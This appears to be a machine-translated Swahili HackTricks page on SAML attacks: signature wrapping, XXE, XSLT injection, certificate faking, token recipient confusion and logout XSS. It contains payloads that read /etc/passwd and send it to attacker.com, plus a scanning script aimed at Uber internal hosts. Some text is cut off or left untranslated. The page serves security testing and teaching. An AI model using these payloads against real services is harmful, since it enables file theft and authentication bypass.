Swahili - Ht
HackTricks Training Twitter Linkedin Sponsor

SAML Attacks

SAML Attacks

Support HackTricks

Basic Information

SAML Basics

Tool

SAMLExtractor: Chombo ambacho kinaweza kuchukua URL au orodha ya URL na kuchapisha URL ya SAML inayotumiwa.

XML round-trip

Katika XML, sehemu iliyosainiwa ya XML huhifadhiwa kwenye kumbukumbu, kisha baadhi ya uandishi/ufafanuzi unafanywa na saini inakaguliwa. Kwa kawaida, uandishi/ufafanuzi huo haupaswi kubadilisha data lakini kulingana na hali hiyo, data inayokaguliwa na data ya awali huenda zisifanane.

Kwa mfano, angalia msimbo ufuatao:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Kukimbia programu dhidi ya REXML 3.2.4 au mapema kutasababisha matokeo yafuatayo badala yake:

First child in original doc: Y
First child after round-trip: Z

This is how REXML saw the original XML document from the program above:

And this is how it saw it after a round of parsing and serialization:

For more information about the vulnerability and how to abuse it:

XML Signature Wrapping Attacks

Katika XML Signature Wrapping attacks (XSW), maadui wanatumia udhaifu unaotokea wakati hati za XML zinaposhughulikiwa kupitia hatua mbili tofauti: uthibitishaji wa saini na kuitwa kwa kazi. Mashambulizi haya yanahusisha kubadilisha muundo wa hati ya XML. Kwa hakika, mshambuliaji anatia vitu vilivyotengenezwa ambavyo havihatarishi uhalali wa Saini ya XML. Manipulation hii inalenga kuunda tofauti kati ya vitu vinavyotathminiwa na mantiki ya programu na vile vinavyokaguliwa na moduli ya uthibitishaji wa saini. Kama matokeo, wakati Saini ya XML inabaki kuwa halali kiufundi na inapita uthibitishaji, mantiki ya programu inashughulikia vitu vya udanganyifu. Kwa hivyo, mshambuliaji anafanikiwa kupita ulinzi wa uaminifu wa Saini ya XML na uthibitishaji wa asili, kuruhusu kuingiza maudhui yasiyo na mipaka bila kugundulika.

Mashambulizi yafuatayo yanategemea hiki kipande cha blog na hati hii. Hivyo angalia hizo kwa maelezo zaidi.

XSW #1

  • Mkakati: Kipengele kipya cha mzizi kinachoshikilia saini kinaongezwa.

  • Madhara: Mthibitishaji anaweza kuchanganyikiwa kati ya "Majibu halali -> Uthibitisho -> Mtu" na "Majibu mabaya ya mshambuliaji -> Uthibitisho -> Mtu", na kusababisha matatizo ya uaminifu wa data.

XSW #2

  • Tofauti na XSW #1: Inatumia saini isiyo na kifurushi badala ya saini inayofunika.

  • Madhara: Muundo "mbaya", kama XSW #1, unalenga kudanganya mantiki ya biashara baada ya uthibitisho wa uaminifu.

XSW #3

  • Mkakati: Uthibitisho mbaya unaundwa katika kiwango sawa cha hierarchal na uthibitisho wa asili.

  • Madhara: Unalenga kuchanganya mantiki ya biashara kutumia data mbaya.

XSW #4

  • Tofauti na XSW #3: Uthibitisho wa asili unakuwa mtoto wa uthibitisho ulioiga (mbaya).

  • Madhara: Kama XSW #3 lakini inabadilisha muundo wa XML kwa nguvu zaidi.

XSW #5

  • Sifa Maalum: Wala Saini wala Uthibitisho wa asili haufuati mipangilio ya kawaida (iliyofunikwa/iliyofunika/isiyo na kifurushi).

  • Madhara: Uthibitisho ulioiga unafunika Saini, ukibadilisha muundo wa hati inayotarajiwa.

XSW #6

  • Mkakati: Kuingiza mahali sawa kama XSW #4 na #5, lakini kwa mabadiliko.

  • Madhara: Uthibitisho ulioiga unafunika Saini, ambayo kisha inafunika Uthibitisho wa asili, kuunda muundo wa udanganyifu wa ndani.

XSW #7

  • Mkakati: Kipengele cha Extensions kinaingizwa na uthibitisho ulioiga kama mtoto.

  • Madhara: Hii inatumia muundo wa chini wa Extensions ili kupita hatua za uthibitishaji wa muundo, hasa katika maktaba kama OpenSAML.

XSW #8

  • Tofauti na XSW #7: Inatumia kipengele kingine cha XML chenye masharti hafifu kwa toleo la shambulizi.

  • Madhara: Uthibitisho wa asili unakuwa mtoto wa kipengele chenye masharti hafifu, ukirejesha muundo ulio tumika katika XSW #7.

Tool

Unaweza kutumia nyongeza ya Burp SAML Raider kuchambua ombi, kutekeleza shambulizi lolote la XSW unalotaka, na kulizindua.

XXE

Ikiwa hujui ni aina gani za mashambulizi ni XXE, tafadhali soma ukurasa ufuatao:

XXE - XEE - XML External Entity

SAML Responses ni hati za XML zilizopunguzwa na zilizokodishwa kwa base64 na zinaweza kuwa hatarini kwa mashambulizi ya XML External Entity (XXE). Kwa kubadilisha muundo wa XML wa Jibu la SAML, washambuliaji wanaweza kujaribu kutumia udhaifu wa XXE. Hapa kuna jinsi shambulizi kama hilo linaweza kuonyeshwa:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Tools

Unaweza pia kutumia nyongeza ya Burp SAML Raider kuunda POC kutoka kwa ombi la SAML ili kujaribu uwezekano wa udhaifu wa XXE na udhaifu wa SAML.

Angalia pia mazungumzo haya: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT kupitia SAML

Kwa maelezo zaidi kuhusu XSLT tembelea:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Mabadiliko ya Lugha ya Mtindo wa Kupanua (XSLT) yanaweza kutumika kubadilisha hati za XML kuwa fomati mbalimbali kama HTML, JSON, au PDF. Ni muhimu kutambua kwamba mabadiliko ya XSLT yanafanywa kabla ya uthibitishaji wa saini ya dijitali. Hii inamaanisha kwamba shambulio linaweza kufanikiwa hata bila saini halali; saini ya kujisaini au saini isiyo halali inatosha kuendelea.

Hapa unaweza kupata POC ya kuangalia aina hii ya udhaifu, katika ukurasa wa hacktricks ulioelezwa mwanzoni mwa sehemu hii unaweza kupata payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

Unaweza pia kutumia nyongeza ya Burp SAML Raider kuunda POC kutoka kwa ombi la SAML ili kujaribu uwezekano wa udhaifu wa XSLT.

Angalia pia hotuba hii: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

XML Signature Exclusion inatazama tabia ya utekelezaji wa SAML wakati kipengele cha Signature hakipo. Ikiwa kipengele hiki hakipo, uthibitishaji wa saini huenda usifanyike, na kufanya iwe hatarini. Inawezekana kujaribu hili kwa kubadilisha maudhui ambayo kawaida yanathibitishwa na saini.

Tool

Unaweza pia kutumia nyongeza ya Burp SAML Raider. Kamatia Jibu la SAML na bonyeza Remove Signatures. Kwa kufanya hivyo, vipengele vyote vya Saini vinatolewa.

Pamoja na saini zilizondolewa, ruhusu ombi liendelee kwa lengo. Ikiwa Saini haitahitajika na Huduma

Certificate Faking

Certificate Faking

Certificate Faking ni mbinu ya kujaribu ikiwa Mtoa Huduma (SP) anathibitisha ipasavyo kwamba Ujumbe wa SAML umetiwa saini na Mtoa Kitambulisho anayeaminika (IdP). Inahusisha kutumia *cheti chenye saini binafsi kutiwa saini Jibu la SAML au Dhamana, ambayo husaidia katika kutathmini mchakato wa uthibitishaji wa uaminifu kati ya SP na IdP.

Jinsi ya Kufanya Certificate Faking

Hatua zifuatazo zinaelezea mchakato wa kutumia nyongeza ya SAML Raider ya Burp:

  1. Kamatia Jibu la SAML.

  2. Ikiwa jibu lina saini, tuma cheti kwa SAML Raider Certs kwa kutumia kitufe cha Send Certificate to SAML Raider Certs.

  3. Katika tab ya Cheti za SAML Raider, chagua cheti kilichosajiliwa na bonyeza Save and Self-Sign ili kuunda nakala ya cheti chenye saini binafsi.

  4. Rudi kwenye ombi lililokamatwa katika Proxy ya Burp. Chagua cheti kipya chenye saini binafsi kutoka kwenye orodha ya XML Signature.

  5. Ondoa saini zozote zilizopo kwa kutumia kitufe cha Remove Signatures.

  6. Tiwa saini ujumbe au dhamana kwa cheti kipya kwa kutumia kitufe cha (Re-)Sign Message au (Re-)Sign Assertion, kama inavyofaa.

  7. Peleka ujumbe ulio saini. Uthibitishaji wa mafanikio unaonyesha kwamba SP inakubali ujumbe ulio saini na cheti chako chenye saini binafsi, ikifunua udhaifu wa uwezekano katika mchakato wa uthibitishaji wa ujumbe wa SAML.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion na Service Provider Target Confusion zinahusisha kuangalia ikiwa Mtoa Huduma anathibitisha ipasavyo mpokeaji aliye kusudiwa wa jibu. Kwa msingi, Mtoa Huduma anapaswa kukataa jibu la uthibitishaji ikiwa lilikuwa linakusudiwa kwa mtoa huduma tofauti. Kipengele muhimu hapa ni Recipient field, kinachopatikana ndani ya kipengele cha SubjectConfirmationData cha Jibu la SAML. Kipengele hiki kinaelezea URL inayoonyesha mahali ambapo Dhamana inapaswa kutumwa. Ikiwa mpokeaji halisi hauendani na Mtoa Huduma aliye kusudiwa, Dhamana inapaswa kuonekana kuwa batili.

Jinsi Inavyofanya Kazi

Ili shambulio la SAML Token Recipient Confusion (SAML-TRC) liweze kufanyika, masharti fulani yanapaswa kutimizwa. Kwanza, lazima kuwe na akaunti halali kwenye Mtoa Huduma (inayojulikana kama SP-Legit). Pili, Mtoa Huduma anayelengwa (SP-Target) lazima akubali tokeni kutoka kwa Mtoa Kitambulisho yule yule anayehudumia SP-Legit.

Mchakato wa shambulio ni rahisi chini ya masharti haya. Kikao halali kinaanzishwa na SP-Legit kupitia Mtoa Kitambulisho aliyeshirikiwa. Jibu la SAML kutoka kwa Mtoa Kitambulisho hadi SP-Legit linakamatwa. Jibu hili la SAML lililokamatwa, ambalo awali lilikuwa linakusudiwa kwa SP-Legit, kisha linapelekwa kwa SP-Target. Mafanikio katika shambulio hili yanapimwa kwa SP-Target kukubali Dhamana, ikitoa ufikiaji wa rasilimali chini ya jina la akaunti ile ile iliyotumika kwa SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS katika utendaji wa Logout

Utafiti wa asili unaweza kupatikana kupitia kiungo hiki.

Wakati wa mchakato wa kulazimisha saraka, ukurasa wa logout uligunduliwa katika:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Upon accessing this link, a redirection occurred to: Baada ya kufikia kiungo hiki, uelekezaji ulitokea kwa:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Hii ilifunua kwamba parameter ya base inakubali URL. Kwa kuzingatia hili, wazo lilitokea kubadilisha URL na javascript:alert(123); katika jaribio la kuanzisha shambulio la XSS (Cross-Site Scripting).

Ukatili wa Wingi

Kutoka utafiti huu:

Zana ya SAMLExtractor ilitumika kuchambua subdomains za uberinternal.com kwa ajili ya maeneo yanayotumia maktaba ile ile. Baadaye, skripti ilitengenezwa kulenga ukurasa wa oidauth/prompt. Skripti hii inajaribu XSS (Cross-Site Scripting) kwa kuingiza data na kuangalia kama inajitokeza katika matokeo. Katika hali ambapo ingizo linaonekana, skripti inatambua ukurasa kama dhaifu.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Marejeo

Support HackTricks
PreviousReset/Forgotten Password BypassNextSAML Basics

Last updated